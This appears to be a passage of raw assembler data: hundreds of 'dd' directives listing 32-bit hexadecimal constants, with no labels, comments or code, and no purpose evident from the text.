dd 0BDF7F4E1h, 0A54D6205h, 6CAC0A2Bh, 8E16C9C1h, 0DA7A0DFDh
dd 0B31B83DCh, 0DFF7C850h, 2C24B386h, 10A038F0h, 18479A26h
dd 0FAA8844Bh, 8048BC56h, 0D1AC8993h, 796700D8h, 5F69968Ch
dd 0B07BB409h, 4E183925h, 9CD39530h, 7348A450h, 0A0CF0018h
dd 45D3DF99h, 8EA235E8h, 1D13ECF6h, 0BD7874C8h, 0C8E2A805h
dd 9B006D9Ch, 3483EBF6h, 0ECC2DC23h, 959471DDh, 0D5D844DBh
dd 42D0040Ah, 0BC9803F6h, 0AC28D1F8h, 315D0298h, 0E8CFEDD5h
dd 0D7E090DFh, 0A13700C6h, 4FDC7380h, 0C100AAD9h, 9CB4D470h
dd 7D79BF5h, 0F04CA645h, 603E613Fh, 5AA038CFh, 7B3E84B1h
dd 18D500FCh, 38963D89h, 1C4D978Ah, 7E613764h, 8CF07040h
dd 9B68BE12h, 0D8B30C17h, 323019A2h, 4CCF2791h, 0EEB52050h
dd 0C434A530h, 0A2B96020h, 0E4A50037h, 24DB8AC2h, 3DFFCB9Eh
dd 5F801118h, 0F8FCC95Ah, 4207A45Eh, 0C46759D4h, 34BA6844h
dd 0B850A96Ch, 33F7FD5h, 0F7CDA471h, 0F3C469C4h, 0EF92058Ch
dd 0C400F3B8h, 0A40E6549h, 0F8EC4EAFh, 0EC4AF4h, 0B844FD4Ah
dd 8A56009Dh, 0EF8F616Eh, 500477F6h, 3AE3BF9Ch, 5F008BAFh
dd 50A7D4E6h, 4844ADA7h, 0A08A162Fh, 2E4B0758h, 9743E8DCh
dd 98BB7844h, 1ED3DC70h, 4991E817h, 885361B6h, 1221F578h
dd 0E9DE5B53h, 0ACACD168h, 0ACA70098h, 7EDCD4DFh, 0F8001B13h
dd 28CB75A4h, 97A9FAEAh, 7BFD8BFh, 21D038EFh, 9C8E0CE0h
dd 0D7930BE7h, 9C2E1DC8h, 751AD8C0h, 592EE1C6h, 5A10841Bh
dd 808B3E88h, 818EDDh, 0CAF4A060h, 0CF61265h, 4C41BB72h
dd 0F2744DA4h, 585C303Ah, 91C91849h, 0C0455C9h, 0C68CBCC2h
dd 211CE2h, 5F7E62D6h, 0BC61A547h, 70E4FF48h, 571062B7h
dd 0E590B445h, 23142ED2h, 0B05F0022h, 16F16FB3h, 0A87447FAh
dd 0DFF8E89Dh, 7A19803Dh, 0EF41D501h, 5821913Eh, 0AF2CC43Bh
dd 73F0840Bh, 70D5581Ch, 0AAC2342Ch, 98E52B3Fh, 35908831h
dd 1B5E5308h, 908B044h, 99E0D70Fh, 1226F11Dh, 14DA6D4Eh
dd 97C050C8h, 0A1F715EFh, 0C2470CCh, 0ECE1BF78h, 4908003Bh
dd 46572660h, 3C042F34h, 40452B8h, 0CBAEC5C7h, 50F94F9Ch
dd 3006BA8h, 37922984h, 254A5953h, 90E29A3Ah, 0C0D84D75h
dd 0C0E61314h, 5BF39016h, 0F91B00E4h, 0DA684301h, 4C4BB4F8h
dd 410BBCCAh, 7C400380h, 0D85BB872h, 0F62AB4A1h, 9B75B004h
dd 606E003Ah, 47FA88DDh, 0A099CA43h, 0DF149409h, 7200ACBDh
dd 93CB8A53h, 94100F5h, 0DC171FE1h, 59E497EAh, 311D4534h
dd 0B50820FFh, 0E00D6880h, 0F13B811Ah, 7A63C200h, 8CEA0075h
dd 0A38B6E49h, 0DC12BB43h, 0DCC0F717h, 9797CDDDh, 22912017h
dd 0A84F1F80h, 9FA51C5h, 0B903D19h, 4BC10221h, 0BDDC12F0h
dd 0E8C098C2h, 0C8E11B09h, 4F587780h, 926480E4h, 3F44DF63h
dd 0C4129DD6h, 0C78409FCh, 0F625DC7Bh, 5538D4A8h, 49B08253h
dd 0E2D785B8h, 80E856B1h, 91FEE41Fh, 2F4C9E56h, 45811A4h
dd 0F7069D12h, 0DF1CB0E0h, 348C10DDh, 0A7FC0513h, 0FCE9355Fh
dd 0D41D1F22h, 51222A15h, 6E7B946Dh, 0B29005Ch, 4820C43Fh
dd 0B8AD694Ah, 10B437F7h, 5D652441h, 5EBF6809h, 984125B8h
dd 0E262DA5Fh, 1C0E8876h, 36ECD001h, 0BC91258Ch, 0ED9DB0D2h
dd 0D47DE048h, 2507EDA8h, 66E4B4A5h, 0DBBC6020h, 619B2505h
dd 4D61454h, 15725002h, 4AE4E424h, 450C5627h, 0BF491230h
dd 3423DC3Eh, 978AF200h, 54DCEF93h, 1625A41Bh, 521CCF90h
dd 0CB580494h, 0DD95025Bh, 18B07ECEh, 13E439D0h, 69207197h
dd 3ED48076h, 96922B0Bh, 9854A43Ch, 0C3FF3F00h, 3D8E02A8h
dd 2F6F3CC6h, 5F484C80h, 982645B9h, 0CEBE1C3Dh, 0E682E0C1h
dd 8484B33Bh, 0A0138E70h, 0CE1F6734h, 421A612h, 1948144h
dd 0E8EF91C9h, 6DC8A06Ah, 0EDD9D701h, 7E5D0521h, 44C157E2h
dd 3A4C3DE2h, 316A802Dh, 0D97877DAh, 6D7A2DCDh, 0ADFEA4C4h
dd 4DE08000h, 987E2E7h, 1907707h, 6D565067h, 280F9FF4h
dd 54D94B7Ch, 3CB23Eh, 0E57C3FB2h, 38C07Bh, 5D608136h
dd 0EB6C7079h, 0B4206CB8h, 0ED714E1Dh, 4CA997A0h, 2F1895B8h
dd 0EF891B3Ch, 9FBA0001h, 39F5908Ch, 0E401D005h, 323D6D47h
dd 206F86D1h, 0CF215538h, 99888C00h, 0ACE66E17h, 0AF02071Fh
dd 4275F990h, 0C6001CECh, 9C232705h, 601904A4h, 2DC8ADEFh
dd 67C010A9h, 9F90991h, 0AF7FF8B1h, 0C09484D8h, 0CAF032BFh
dd 6B646474h, 0F353C15Dh, 809A1661h, 0D4CEEDC8h, 12293A6Ch
dd 0E97BD360h, 0A43D1248h, 89EECC94h, 20A1304Ch, 39BA8114h
dd 300770F8h, 87971E78h, 493F6BD1h, 0B8C4976Eh, 7627929Ch
dd 492428A4h, 9027A4D8h, 0ECC714A0h, 8F38882Bh, 0C141395Dh
dd 40D876E2h, 0D4CBE7C3h, 21DA4300h, 80F47925h, 71E2006Ch
dd 0B58BE1F5h, 5B71362Eh, 0DC916EF3h, 0E13F0366h, 74233F4Ch
dd 0C2C0DC4Ah, 0FCE6EEF9h, 5CAC12DFh, 74C89073h, 76003880h
dd 0DB9EC344h, 0DC4A90h, 0C26CA979h, 5F210C0Eh, 31A27330h
dd 18A8B5Ah, 10CE9458h, 23F8DD65h, 0DF1413D8h, 20F837BBh
dd 20A4B723h, 538FC183h, 0BF94427Fh, 8C742F54h, 0C8AED744h
dd 45846074h, 1C41F250h, 46240129h, 82181029h, 0BC8D717Fh
dd 7C6B2502h, 0DC8F9792h, 4DAA1D50h, 6B692418h, 2738ECD2h
dd 41C22614h, 86096F8h, 46AC9019h, 4E672578h, 8C9E7476h
dd 9C58022Dh, 0A264809Fh, 0CF1F588Fh, 3FA947E1h, 0F750A874h
dd 7CBDB554h, 8392DE04h, 7D0700EDh, 0D0D88C37h, 26E10829h
dd 5D86A624h, 2E621903h, 80A0512Fh, 23683F3Fh, 7352609h
dd 0EF8D5970h, 0C24BE93h, 4501D005h, 0B2AAC08h, 3D5DE96Ch
dd 29388270h, 0B8764558h, 82D1D462h, 0DF61AED8h, 0E80F4B5h
dd 4E7AF86Ah, 0ACD75CDDh, 85E86026h, 6EF02371h, 730101C4h
dd 1278ACDDh, 0C312A82Dh, 82F8E925h, 7FC78823h, 733050E1h
dd 3032B200h, 3105AC5Dh, 8021A0EEh, 9DB6B4A4h, 93C030F1h
dd 0C7F94CCFh, 81C27AE0h, 3B0F6CF7h, 0D70018E6h, 0C6CFDCD8h
dd 64B7DDE1h, 8004B53Ch, 0BCDC07C7h, 0DECB0D97h, 0D717DEBCh
dd 38F48B16h, 0D93C6081h, 87FDAE83h, 614D1200h, 69D46072h
dd 0ECB0C0CFh, 0DA985EEDh, 0C93465B7h, 0B45B0459h, 761C5B60h
dd 9580B500h, 759E98EDh, 279317C9h, 71788373h, 0D3DD8813h
dd 8B8860A2h, 18B7A5h, 0C082144Bh, 0A340B360h, 0AF50D2BDh
dd 100F87Ah, 6FA3C8BCh, 0FC01F938h, 8840CB61h, 0D17A555Fh
dd 21D30994h, 0F4C26F08h, 8B04027Dh, 0F5704853h, 2672554h
dd 0FA518876h, 0A8941314h, 2109D2E4h, 514C76C9h, 28BA14F9h
dd 1F9D9728h, 810F1178h, 0DE835013h, 0DB3BC7F9h, 0A07D80C0h
dd 169C7EF3h, 21232B8Fh, 1DBC20h, 9396B9h, 987F6F6Bh, 5872DA1Ah
dd 7CFACCA8h, 0A3C05E00h, 0BA14D3BDh, 0D92102ECh, 66E4DC2h
dd 49DA8E5Fh, 0DC545EA6h, 0A2D5A003h, 832CDA48h, 5A4B80CDh
dd 0C1DB2D58h, 194420D8h, 5E40B87Bh, 2EF8E109h, 959010F0h
dd 0E4F8807Bh, 0A7FA17DDh, 4B54F853h, 0CC387CDDh, 0B8C0EACh
dd 0A58D820Ah, 0F4B51863h, 3B00B344h, 0C211A06Fh, 0FECC3010h
dd 45EB3B60h, 4C74D5A7h, 9705C49h, 0C8407213h, 0A48819E3h
dd 8BBB07A1h, 893C651Eh, 0DC08DCh, 656DA721h, 9062362h
dd 0AAA8456Fh
dd 0A4103CF0h, 441EC904h, 0B8B4AD32h, 85B50484h, 0E89FED30h
dd 80652E48h, 0C23C7627h, 486937A7h, 64523A22h, 16BC50EDh
dd 0E00B68DEh, 3F78A5CCh, 5BE0C8h, 523CF785h, 0FFD8511Ah
dd 6B91E401h, 0B91F3279h, 126EB2D8h, 0EDDD6392h, 8C03A86Ch
dd 0F257B50Eh, 0F99D818Ch, 6193E14Ah, 1016BE82h, 507ABEh
dd 37229F4Eh, 0B3978F5h, 0D3BF92D7h, 0CD5F6862h, 8BDC1E8h
dd 2C7C4101h, 4C7A6B0Ah, 93E1A00Eh, 23183A72h, 28070235h
dd 0CCE1C95Fh, 6CB72B26h, 0A8FCBD5Ah, 4E601B7h, 45961C34h
dd 0AC046E3Dh, 20C15AC3h, 9055293h, 0A437C649h, 0DB89B581h
dd 453B4259h, 410D3C28h, 54B98ED8h, 412AC43Bh, 79DAC22Dh
dd 0C1AC0414h, 43B080F6h, 0B3D0CD0h, 7DF700A8h, 0B41B054Eh
dd 0D3A713FCh, 4EA0A728h, 7480B49Bh, 0EB036B2Fh, 0D1767F12h
dd 0FF57FD00h, 0C04E3263h, 0C8BEC78Ah, 0A59D9A3Ah, 54BC14C0h
dd 8A06B89h, 33F0E636h, 0C0244DB5h, 97B769FEh, 2528539Fh
dd 5D41474h, 1F895D01h, 2021BA58h, 0D07BBFFCh, 0C0ACDC88h
dd 0D8B4134Eh, 0D4C29FA8h, 3E4CB7D5h, 0F78D04F0h, 0BF08F5E0h
dd 6AAEE474h, 0BFAB0070h, 260BD017h, 839FD7h, 7CAA90CBh
dd 0D42790DEh, 0FA02DCC8h, 0ED0C3548h, 4490570Fh, 5B3BB825h
dd 0B9BE096Bh, 5A4C7661h, 5C40B8F6h, 7954EAAh, 8388E26Ah
dd 0BB89E5EDh, 247C2872h, 34C1BB19h, 0C83C0F83h, 718C36F8h
dd 0B4FF098Ah, 1DDF1A7Ch, 0CDC72D8h, 0F30465Eh, 1D22F7E7h
dd 133B6B82h, 0D4E877DEh, 0E49D963Dh, 0D8EE10BCh, 0C2245DFAh
dd 0D6095B47h, 0F467614h, 86D2F200h, 1929551h, 940C597h
dd 0BDFF1AB7h, 611D004Ch, 65D75843h, 0E259A409h, 58845FADh
dd 0F12A001Bh, 4AF45012h, 20C48D63h, 4F7A5ACCh, 0A710F99Dh
dd 7B61E076h, 0D82EE52Fh, 0A0448D08h, 0AC8C24DCh, 0C45EA5F8h
dd 53836247h, 2F8DD082h, 0F2C3273Fh, 1A2C3850h, 0B30BC878h
dd 9B8AB3Ah, 8CE4BCh, 7D13F98Eh, 6003AE18h, 0C68BC00h
dd 0D46742CBh, 285C092Eh, 74699616h, 20B03E08h, 60BE09D0h
dd 1CD140FBh, 3CB55F69h, 0A49C5800h, 4A450A65h, 9644EDC4h
dd 61B8B8F9h, 14BFD51Fh, 177ACBC0h, 5865A774h, 8F0B74E6h
dd 0E0763FEBh, 0B42B9E7h, 0ECCE77E1h, 919015B5h, 89BA834Eh
dd 2247D03Fh, 81F700BFh, 0D0424A07h, 5B2D4423h, 41246F0Ah
dd 0E84A33A6h, 309B7E0h, 0F768436Ch, 2BEFA420h, 3CFD0CF5h
dd 0BCA0D10Ch, 58DB033Dh, 363AE01Fh, 0D08464A2h, 0F004FF1Dh
dd 0BE1319FBh, 6290400Eh, 0D52AD740h, 0C900F8B7h, 0DFBF0B31h
dd 0C48A2D6Dh, 56F36C90h, 0E5C6D700h, 0A07BDCBCh, 6D1A38BDh
dd 0EF9A5102h, 0C6774059h, 0C1AF27B4h, 18C53C4Eh, 988837D7h
dd 3B1941D8h, 72D1CE3h, 402574DAh, 64E0ED43h, 0EF8D6132h
dd 0BE1A62DCh, 0E52867A8h, 24F0EC68h, 8900CC7Ah, 422EEB40h
dd 0A3604BAFh, 64F697F0h, 0B2238A0h, 6BA7FA09h, 20147A2Bh
dd 924B3604h, 9C1088ECh, 0C11CCC0Ah, 0DA413840h, 0C9489109h
dd 35B5687Ah, 778D80B0h, 0F7604149h, 0A2147E4Ch, 0F090FFE3h
dd 7006CE1h, 0EB2F53C1h, 28EB12Bh, 98EAC639h, 24C1F87Eh
dd 6C132A34h, 980A0ACh, 809C8255h, 0D998B31Fh, 0AC9D8C00h
dd 0B3FC37Eh, 1B6E88C1h, 0F7C1C476h, 2B090E04h, 20AD28D5h
dd 0E02B0B8h, 0B7804099h, 94DD09A6h, 59144340h, 630ACC8h
dd 3F98BEB2h, 54B96048h, 0E760C983h, 4F181644h, 2947AAAh
dd 725854A0h, 0B398E031h, 10A9813Fh, 95F4B722h, 1E3E085Ah
dd 932604B4h, 94BCC8DFh, 0FC644117h, 0D9610FF8h, 97980556h
dd 1ECE6C97h, 12EE5712h, 4AC0AAECh, 65FDBD89h, 0EE900C0Ch
dd 7506ECCh, 0D7BF6652h, 6031C093h, 587C5A61h, 2608DEEh
dd 90DF8B27h, 59BD2523h, 0E88CA3FFh, 87210006h, 7B132679h
dd 5F7FFC3Eh, 6BAF3EE1h, 0A1840077h, 0F15927D4h, 83A300B6h
dd 0A6AB858Dh, 0AAC705E6h, 0C0B5F896h, 457CC1FEh, 0FF50021Ah
dd 0F80107E4h, 0D7B3481Bh, 8120FA8Ah, 427A0099h, 0DEC4500Bh
dd 151F8FC8h, 2492892Fh, 0C0D89AABh, 18272DCCh, 358E124Ah
dd 85DBFF6Ah, 6C87EC86h, 215D8514h, 0CCAA93ADh, 32B8BD1Bh
dd 60887495h, 5EC271AFh, 2BFFE87Eh, 953895E9h, 317A17A0h
dd 0C30F931h, 0A92ED1FFh, 0C480ACE9h, 0F0D7D54h, 3982181h
dd 0EB3E79DEh, 4016222h, 35FA5737h, 51A04EAh, 2902431Fh
dd 81CF8E9Dh, 0A0100CDAh, 4100B011h, 77DF2173h, 55F3D63Dh
dd 8202D282h, 8E88A869h, 0CC7F620h, 0EA62FA8Bh, 2B71550Fh
dd 0BA6B542h, 31EB7FDh, 1085AD40h, 4FDA13B0h, 2B1F7E02h
dd 0A0A41BDh, 8E9E054Ch, 7F8EEFE5h, 19C01B88h, 1E842992h
dd 1F4D90Eh, 5690EDB7h, 25F27E60h, 0E4761103h, 0E08FAD38h
dd 5684B1BEh, 6A98A500h, 8F88AF31h, 615F09D5h, 0E70A505Bh
dd 0C2B7C5DCh, 0CF8431EDh, 20EF570Eh, 366DD22Ch, 3D09E07Dh
dd 49AE827h, 0A6AF90FDh, 71FAB01Ah, 64EC0127h, 8DD3329Ch
dd 0EDD121D9h, 98EE0504h, 0EAA05276h, 5F812B49h, 27EB67Bh
dd 0EE37F5BFh, 4A7B554Ch, 0D4A2F42Fh, 0DBA1B500h, 75D07939h
dd 0FF6A036Fh, 9AEF8153h, 5F153CD0h, 0D125B5F2h, 8B75D1Ch
dd 0CA4FE680h, 1DA3CF9h, 0D3C78132h, 21249D79h, 18D158h
dd 0C70129E9h, 0B0F536h, 0D6CEB81h, 0E6457C00h, 759D8B70h
dd 0E42CC507h, 3DD63071h, 0B4026085h, 0EDF65A21h, 91EBFFC3h
dd 66605386h, 0BB9F7FD4h, 0A8AE258h, 0C8B60F1Ch, 800028C3h
dd 25B589C3h, 1877160Dh, 9BB6652h, 0C18B14EAh, 0BD0CE857h
dd 0E7260595h, 0FF8A5701h, 88EE58C5h, 0B200C376h, 9E2150EEh
dd 27E31E24h, 0CAD5B740h, 43C3FFC4h, 0C0C5D23Fh, 0E1C84C2Bh
dd 3840A1Fh, 19E9F8D1h, 0C0DF4F48h, 276170E2h, 0CA9C015Ch
dd 9ED13D28h, 8097D454h, 0A9C94200h, 858B4572h, 165ABF95h
dd 100DBD10h, 72F0E4Ch, 0F0402A7Ch, 8579Fh, 16967E34h
dd 0A98DA3E8h, 366E1E07h, 0AB156A63h, 1B59EC1h, 540C2147h
dd 3B0340F9h, 0B6D051h, 0D195297Eh, 3F11CA99h, 0C20BFE4Ah
dd 8D18F5D8h, 0F8BD7BB7h, 925F9FFCh, 0A8725FB3h, 40ADDD03h
dd 0B01DD011h, 141B5172h, 21A58373h, 10FCFE13h, 0AA4877EDh
dd 7F2CD91Bh, 13C05884h, 0BAE64A1Dh, 0AE00DF6Eh, 5B13068Dh
dd 0DE29FDA2h, 7C87CBC7h, 0E4F004ABh, 3B39AA88h, 0B9007D0Ah
dd 7A8B22Dh, 0F028F4D8h, 7124F8B5h, 6042A514h, 0B05A5F33h
dd 809E5C95h, 0F1469264h, 0DB00AC85h, 49EBC85Ah, 4E3050D7h
dd 0E433BF44h, 0F9561052h, 4A5F3E21h, 109648FFh, 0C4B8B380h
dd 31A406h, 23336241h, 0C31A7D78h, 5D9F5325h, 99671623h
dd 0A149DDB0h, 9ECDA704h, 0A3AF5F78h, 51B5088Fh, 4ADD2026h
dd 276BFAFCh, 0B37EEC41h, 8D290A39h, 0D6AFDCF9h, 9D03602Ah
dd 18C209E1h, 0FDC02BFCh, 0DC0A76Dh, 95BD31A0h, 2B093674h
dd 46D57D2h, 384C4160h, 5E922C5h, 7E9BB804h, 34D7CDB3h
dd 33AD6C70h, 5ED160C2h, 4E983D0h, 52F4753Ch, 26F030B6h
dd 0F6610B39h, 0BB842444h, 0D3D08ACh, 9AAF5B12h, 6423C0D5h
dd 76986E5h, 0B4969CE8h, 5C90594Fh, 66003BC3h, 44748D84h
dd 1E38060h, 0F2B70F94h, 3B0D5F61h, 0E95F37E8h, 3897B87Dh
dd 63CC9964h, 49F19D12h, 0E677606Eh, 4065FA2Dh, 8B5C6104h
dd 0E60B205Ah, 0F7FD55BDh, 6F008063h, 0E155AE56h, 0E004B65Ch
dd 27E4738Eh, 76125C1h
dd 0BC2DA92Bh, 3F1D016Ah, 0DBBB0791h, 0F9DF4057h, 5BFEF5C5h
dd 135A8C4h, 0C28B5003h, 0C1031890h, 553A08DEh, 581996F0h
dd 0E800C26Fh, 0F44C5D76h, 5B5CC714h, 2119C070h, 521C85h
dd 57458DE7h, 0A3A12D6Eh, 4641407h, 0F5927A9h, 250FE89Dh
dd 0DBB7D7h, 9D29BDBEh, 0DD130CCDh, 0D8076653h, 79C4835Fh
dd 84094897h, 0B7EBBFD2h, 9FDDA06Eh, 715371BAh, 0AAB84B5Fh
dd 1823743Eh, 78A87D01h, 60207E88h, 0EA84A3DAh, 6055EF4Ch
dd 64C247B3h, 412C84F6h, 30609556h, 3A681D2h, 10C2FB99h
dd 91A0822Ah, 6305C7ACh, 46D29FC5h, 75E197C2h, 3E59657Bh
dd 4CBB8D0h, 0F295E1ACh, 0F9F4AB48h, 3C8401E7h, 0EFB1AB37h
dd 55CC41E1h, 70AD0C1Bh, 0EB3EE104h, 1C7AE56Bh, 672CE980h
dd 0B7909077h, 4035A44Bh, 51899301h, 0C0FBBB42h, 0A4FABF10h
dd 4F037E15h, 763EAA86h, 803B1B23h, 0A90852AFh, 0B0BCFB43h
dd 107120F3h, 1295604Ch, 0CDAB19B9h, 94B67F7Bh, 35DFEFA0h
dd 17F3EB5Ch, 8FB69E5h, 80031EB3h, 202304E1h, 0A2821D8h
dd 192082C9h, 1186CE01h, 13BA5830h, 0DBAA241Dh, 9E5C0D2h
dd 5858A120h, 0D300254Fh, 0A9B7B56Eh, 2AE68533h, 0D9D7A9Ch
dd 13E82220h, 54B58400h, 75CBBF19h, 46490768h, 607FAFBEh
dd 0A4C69E73h, 905FF117h, 0F36120EEh, 0E6008870h, 0D2B3D5C9h
dd 294F932h, 0A780A2C4h, 41468222h, 26CBBA00h, 0A3F827CDh
dd 505B191Dh, 22525056h, 23F66B04h, 0D80668F2h, 0BB2AD2h
dd 4009C0B0h, 0F9243481h, 4ACD0C3Eh, 1CA66BFEh, 1C059AFBh
dd 9102921Fh, 0E060A8E7h, 82083988h, 7B93B60h, 0F4E60E82h
dd 0B99E7CECh, 6A7800DCh, 0B2F5DA11h, 45FAC40h, 5E8052BCh
dd 7D99336h, 0ADB63300h, 0B554412Bh, 2984C4A4h, 62E90417h
dd 0F780A890h, 35CD948Ch, 0C39D9B95h, 3429F8AAh, 0C16206DAh
dd 30EBD00h, 591883C7h, 0CB2C462Fh, 99B50DB1h, 7DE92F75h
dd 377E8FACh, 0A05F5200h, 0B5316069h, 4F7692D1h, 8E31AB8Bh
dd 0CE28F985h, 126BFE4Ah, 9D3A4300h, 0FD8A2140h, 10068925h
dd 0ECB3608Dh, 17300019h, 0FAB2D70Bh, 4339089Ch, 0A5C14888h
dd 9E94DAFEh, 2028EC9h, 4401751Ch, 16F53122h, 2004460Dh
dd 0E688085Bh, 0F28D3DC2h, 40940A7Fh, 28A6DE8Bh, 60F59C75h
dd 8A59509h, 91B5FF80h, 35572501h, 230A802Eh, 0F9E7BF66h
dd 8722ADB8h, 28639004h, 5FECFFFh, 61EE83C6h, 4E0F1FE8h
dd 88131F03h, 2507E263h, 0E81835FAh, 0A3605053h, 0D11D000Ch
dd 51467290h, 7004A987h, 66C5D82Eh, 0F80061A2h, 69811F61h
dd 8F04EA41h, 595E2A27h, 86B90386h, 0A94600DDh, 326AFBC1h
dd 0D414A3E1h, 0A8A8629h, 0D78B9DF2h, 24BB520Ch, 5B2313C3h
dd 0C006275Fh, 14E2BA60h, 5108951Fh, 5897619Ch, 5A021B6Fh
dd 0EA394AB5h, 28DDD441h, 168D2644h, 4089186Ch, 0BF05500Ah
dd 20344626h, 0B67F8AB1h, 0FCF5E090h, 25969048h, 98F50E95h
dd 5AE3DCh, 9CB096C0h, 86B150DEh, 0CD887D17h, 5BDFC404h
dd 0AD2A71D9h, 1280ACDCh, 133F6AA6h, 246113EDh, 72A5AA83h
dd 5862E8h, 16EEE0D6h, 0CB0F7570h, 0B2892500h, 0A72CEA8Ch
dd 5B560B61h, 0F51B85C7h, 810F3F09h, 28ECDD16h, 3BBEBA00h
dd 60D564D3h, 19A80024h, 0A37D43ABh, 0AD5C9490h, 59BC421Bh
dd 772D2565h, 0B300D3BDh, 235AFEB2h, 17955D9Dh, 531EE914h
dd 508CBF3Fh, 44A40C30h, 0C11E01E6h, 0EB410E8h, 0F14CD683h
dd 0DB2D5803h, 36EBE70Dh, 6404DE36h, 3316EE39h, 2829501Bh
dd 58182140h, 570113CDh, 2C601B09h, 251690C0h, 673D16C1h
dd 60C8A20Eh, 7EC2D139h, 0C15E9701h, 8550D6ACh, 7E878AB7h
dd 0F026084Dh, 0A266D021h, 0DC77942Bh, 0B39DFF00h, 0A0ABC89Ah
dd 0A3B726C5h, 4BC33D89h, 1A33FFEh, 1A2E0294h, 62CCA96h
dd 0EF131A5Eh, 963AB58h, 4A91B50Dh, 786EBB6Ch, 0C15CDA00h
dd 6C7EF30h, 7DE50170h, 0ED6BCE9h, 403CDF60h, 0AAD318A7h
dd 155108C0h, 33BEB720h, 0D950FB42h, 826A0E31h, 0DD6BAA20h
dd 0A9006FE0h, 83AE4A8h, 0B21CF201h, 0BD559942h, 86077600h
dd 68FE37Bh, 3A40FA9Eh, 1CAA36Fh, 0BDB822F5h, 585B5D73h
dd 449860CAh, 0CC20D75Ah, 18A97Fh, 0DDF9AD2Ch, 7801CEF6h
dd 0D1174DB4h, 0AAE65C85h, 0DBBFD0E0h, 182BFD14h, 0A3AEA4D6h
dd 6FAEF06Ah, 0BD2B1257h, 851090E1h, 29ED10DDh, 5BBC0Ah
dd 0B24F5E13h, 55CCFA82h, 25BD2916h, 0C1C08A84h, 9D89A85Ah
dd 37A51FD6h, 917D024Dh, 0C670DFB5h, 32E962A0h, 9599708Ah
dd 19DE975Eh, 54C1DB09h, 8301C2E1h, 1C7104C2h, 0EF328F4h
dd 57205089h, 2CA40892h, 7A895F16h, 4C8CBD2Fh, 0CE5B099Dh
dd 644D77E5h, 3860A4C3h, 0DA095E5h, 39A16151h, 6BAE4A11h
dd 9E9C28C3h, 40AEF94Bh, 0EBFDB117h, 3007B62Ch, 786264CAh
dd 2BC98421h, 1FA98741h, 0B82A43Ch, 0C16A999Dh, 0A0C688B2h
dd 34A9701h, 32169075h, 0ABBF342Ah, 2FB087E6h, 230855C0h
dd 866D47Ah, 96041E79h, 0E4400CE8h, 3638C76Bh, 0E534C51Fh
dd 333E4384h, 2E0FD7B2h, 4A809A59h, 5F0FD15Ch, 0C7C6505Ch
dd 1DB0FA39h, 0A3B3D4h, 0B14738AEh, 99767F3h, 85899605h
dd 7C640679h, 0B0ECE6BAh, 54FC06CCh, 3D40F3h, 353495DBh
dd 5D2D5232h, 630AB17Fh, 0A38AB247h, 7EF4211Eh, 2DE067F6h
dd 9C1722F1h, 77047ED0h, 3520C8Ah, 2E8BF65h, 157086DBh
dd 38736158h, 1BE22189h, 0D4DF1D5Eh, 0B118D551h, 2E857C46h
dd 0B60E096h, 0F955B6h, 2B351FF5h, 0C89915E9h, 3AC2604Ah
dd 0D9595D31h, 0C8585A0Ah, 0F827F020h, 853796h, 0D6F07F87h
dd 3139CD08h, 11AD985h, 0D19CF381h, 0DE593E9Ah, 411D2C30h
dd 15B10101h, 0EB318104h, 122B1E54h, 59248819h, 0D4853C0Ah
dd 41E92B6h, 824CD94h, 0DED1CA02h, 20CE1159h, 8D09090Ch
dd 0D4901B81h, 81C01F35h, 4A0ABDB1h, 0C47C97C6h, 894A04DEh
dd 0C10A9549h, 3CA19D2Eh, 0C7F806EAh, 8485F985h, 0D78101D3h
dd 1569D024h, 0B1833060h, 0A7FA5F8Ah, 91FE2B00h, 423CC1B0h
dd 20CD4A2Dh, 9B56027Dh, 13AE6C00h, 1E889823h, 106600BFh
dd 150BED0Eh, 0E90E615Eh, 38FFF143h, 9E0AF562h, 14A0BBF1h
dd 29C18B09h, 122ED285h, 4239B531h, 0ED04EB48h, 0E917B7C0h
dd 0CBBF7E61h, 3CC8890Dh, 0D6FC00B8h, 0BF5B6793h, 8D000BCAh
dd 0F5BB2001h, 4B352E9h, 27A3F1EAh, 0F0FD8742h, 54723EBCh
dd 0A6E41500h, 6CCD3438h, 0FE0F00EBh, 0B37B3AF9h, 500039AEh
dd 949DD316h, 8434B2h, 939CA067h, 1DDA8526h, 86689500h
dd 0C7829DA5h, 7BB0004Ah, 2F7EAB20h, 690037A4h, 0DDDB1C6Dh
dd 1D2074Eh, 0C60EB1D4h, 0D8FBBBC2h, 803F79C5h, 9044073Ah
dd 6340F114h, 18C2A7h, 28D29594h, 0F3D40164h, 7E52172Eh
dd 9B5E8101h, 2EF8F615h, 0F2E80056h, 984120AEh, 90EC8B12h
dd 0FC182F01h, 0DB675F89h, 8059A0F3h, 0A92700FAh, 0C7863A04h
dd 0E6184315h, 0AC2C2375h, 39A02D7h, 578CF1CAh, 6EB6EFA0h
dd 0D8002369h, 0DBE11659h, 0F4B20B40h, 38B960D6h, 64AB9BCDh
dd 5A13A937h, 8964520h, 0A3725CBFh, 0EB4CCF80h, 32C0B56Ah
dd 0FFBCCBBh, 2266306Eh, 0CD585C9Eh, 55538200h, 3A0A4C36h
dd 46080CCCh, 0A16970E1h, 719DCA00h, 659E67F0h, 0B3F500CDh
dd 0D1064992h, 15ACFCBh, 0B48760AFh, 0F4004232h, 0EC1DB907h
dd 166C2AADh, 0AB0BDC19h
dd 78B6C90h, 1A5C3FE4h, 113AE78Ch, 659991C8h, 2CD515h
dd 8BCA515Dh, 733D484Eh, 214404B2h, 0AB5B2B8Dh, 0E34FC680h
dd 0D96801FAh, 1710AA59h, 0E83524AFh, 6725D00Ah, 0E700B504h
dd 167533A4h, 602E1FAFh, 429BC005h, 0F0EF783Bh, 0B0194806h
dd 77FE13BFh, 65700056h, 6ED1EA09h, 0DA012167h, 0C1483CBAh
dd 0B488391Ch, 0C804DB3h, 0E1BB7A9Bh, 8D010A1Eh, 80634E3Ch
dd 0E0C8535Fh, 77E68E66h, 8110683Eh, 0AA33E980h, 62E436A7h
dd 599C30DFh, 4C3A832Ah, 0E0695EB5h, 60BB09F0h, 0B4FAE103h
dd 0A9CA8C51h, 8F86A86h, 0A4C4981h, 9901E318h, 2CFE6EC7h
dd 9803A97Ah, 0F663E653h, 32318856h, 20B91215h, 9FAD0005h
dd 8A18C50Ch, 0F0733Dh, 0D2946487h, 4C9EE2h, 14C43202h
dd 9A405682h, 42D91600h, 536DC09h, 7BAB018h, 0FAC39294h
dd 3297F301h, 0F9B89BA3h, 961847D0h, 87C09577h, 53714C4Ah
dd 0FA82B03h, 2612904Eh, 0A7009E5Ch, 4A5C442h, 8219C053h
